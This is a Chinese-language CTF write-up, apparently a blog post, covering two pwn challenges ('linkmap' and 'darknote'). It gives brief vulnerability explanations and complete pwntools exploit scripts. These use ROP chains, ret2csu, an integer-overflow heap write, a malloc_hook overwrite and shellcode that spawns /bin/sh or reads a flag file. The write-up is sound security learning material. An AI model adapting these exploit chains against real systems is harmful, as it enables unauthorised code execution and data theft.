巅峰极客
就复现两道题,另一个没学过,就先不学习了.
linkmap
没有报名这个比赛,但是看了第一题,感觉挺有意思的,刚开始没有什么好的思路,后来听了zikh师傅的思路(发现自己还是做的题型有点少)
具体做法
1、就是利用
mov rax, qword ptr [rbp - 8] ; mov qword ptr [rdx], rax ; nop ; pop rbp ; ret
向bss段写read的地址,这是因为read的开始的真实地址距离syscall很近2、在利用csu向bss段中进行布局(就是ret2syscall,不过要覆盖bss中的read地址为syscall)
需要注意的是调用read函数是通过read的plt而不是程序中自带的
from tools import *
p,elf,libc=load('ezzzz')
bss = elf.bss() + 0x100
log_addr('bss')
debug(p,0x400772)
pop_rsi_r15=0x4007e1 #pop rsi ; pop r15 ; ret
csu2=0x4007C0
csu1=0x4007DA
read_got=0x600fd8
read_plt=elf.plt['read']
leave_ret=0x400772
pop_rbp=0x400570
magic=0x400672 #mov rax, qword ptr [rbp - 8] ; mov qword ptr [rdx], rax ; nop ; pop rbp ; ret
pop_rdi=0x4007e3
pop_rsi_r15=0x4007e1
ret=0x400773
magic_read=0x400752
payload=b'a'*0x10+p64(bss)+p64(magic_read)+b'/bin/sh\x00'
p.send(payload)
payload=b'a'*0x10+p64(bss)+p64(csu1)
payload+=p64(0) # rbx
payload+=p64(1) # rbp
payload+=p64(0x400e28) # r12
payload+=p64(bss) # r13 -> rdx
payload+=p64(bss) # r14 -> rsi
payload+=p64(0) # r15 -> edi
payload+=p64(csu2)
payload+=p64(0) # add
payload+=p64(0) # rbx
payload+=p64(read_got+8) # rbp
payload+=p64(0x400e28) # r12
payload+=p64(bss+0x70) # r13 -> rdx
payload+=p64(0) # r14 -> rsi
payload+=p64(0) # r15 -> edi
payload+=p64(magic) # read@addr->bss
payload+=p64(bss-0x3a-8)
payload+=p64(pop_rsi_r15)
payload+=p64(bss-0x3b+1) + p64(0)
payload+=p64(read_plt)
payload+=p64(pop_rbp)
payload+=p64(bss-0x18-0x18)
payload+=p64(leave_ret)
payload+=b'/bin/sh\x00'
pause()
p.send(payload)
pause()
payload=b'a'*(0x2a-8-0x18)+p64(bss-0x10-0x18)
payload+=p64(pop_rsi_r15)+p64(0)*2
payload+=p64(pop_rdi)+p64(bss+0xc8)+b'\x2f'
p.send(payload)
p.interactive()
darknote
这道题怎么说呢,刚开始没看懂是参考的星盟师傅的wp,星盟做出来的那个师傅很强,
程序分析
漏洞就是整数溢出,申请的大小是输入的8倍,但在add中检查的还是list
攻击思路
1 利用整数溢出向
main_arena+56
中写入我们申请的chunk地址,然后像这个chunk中写入一个地址,在通过add实现任意地址写2 利用任意地址地址写将写有
1. Add Note\n
地址中的数据写为got
表和environ
变量用于泄露libc
和栈地址3 向
malloc_hook
中写入add rsp,0x100
执行栈中数据执行mprotect
和orw
(这个布局有点巧妙,而且每个人有自己风格,就不再说了)
from tools import *
context.clear(arch='amd64', os='linux', log_level='debug')
p = process('./darknote')
add_p=0x401B7B
read_p=0x0401BCA
start_p=0x40174F
def add(index, note):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Index: ', str(index).encode())
p.sendafter(b'Note: ', note)
p.sendlineafter(b'want?\n', str(0x20010000))
add(0x4DB75, p64(0)+p64(0x71)+p64(0x404240)+ b'\n')
add(0, b'\n')
add(0, b'\0' * 0x10 + p64(0x403FB0)[:6] + b'\n')
p.recvuntil(b'=\n')
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x10dfc0
log_addr('libc_base')
add(0x4DB75, p64(0)+p64(0x71)+p64(0x404240) + b'\n')
add(0, b'\n')
add(0, b'\0' * 0x10 + p64(libc_base + 0x1ef600)[:6] + b'\n')
p.recvuntil(b'=\n')
stack_addr = u64(p.recv(6).ljust(8,b'\x00'))
log_addr('stack_addr')
print(hex(stack_addr - 0x70))
add(0x4DB75, p64(0)+p64(0x71)+p64(stack_addr - 0x98)+ b'\n')
add(0, b'\n')
payload=p64(libc_base + 0x23b6a) # pop rdi ,ret ;
payload += p64(stack_addr & (~0xfff)) #
payload += p64(libc_base + 0x2601f) # pop rsi ,ret ;
payload += p64(0x1000)
payload += p64(libc_base + 0x142c92) # pop rdx ,ret ;
payload += p64(7)
payload += p64(libc_base + 0x36174) # pop rax ,ret ;
payload += p64(0x1a)+p64(0)
add(0, p64(0xdeadbeef)*3 + payload + b'\n') #12 * 8 #当前指令的下一条指令的地址
shellcode = asm('''
lea rsi, next[rip]
mov edi, 0
mov edx, 0x200
mov eax, 0
syscall
next:
''') #read
add(0x4DB75, p64(0)+p64(0x71)+p64(stack_addr - 0x40) + b'\n')
add(0, b'\n')
payload = p64(libc_base + 0x9c272) #sub eax,0x10 ,ret ;
payload += p64(libc_base + 0x630a9) #syscall
payload += p64(stack_addr - 0x18)
add(0,payload + shellcode + b'\n')
add(0x4DB75, p64(0)+p64(0x71)+p64(libc_base + 0x1ecb70-0x10)+ b'\n') # __malloc_free
add(0, b'\n')
add(0, p64(libc_base + 0xbb92c) + b'\n') #add rsp,0x100
p.sendlineafter(b'>> ', b'1')
debug(p,add_p,start_p)
p.sendlineafter(b'Index: ', str(0).encode())
shellcode2 = asm('''
mov eax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open
mov edi, eax
mov rsi, rsp
mov edx, 0x50
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
syscall ;// write
''')
p.send(shellcode2)
p.interactive()
标签:极客,p64,mov,pop,巅峰,add,bss,payload
From: https://www.cnblogs.com/trunk/p/17602869.html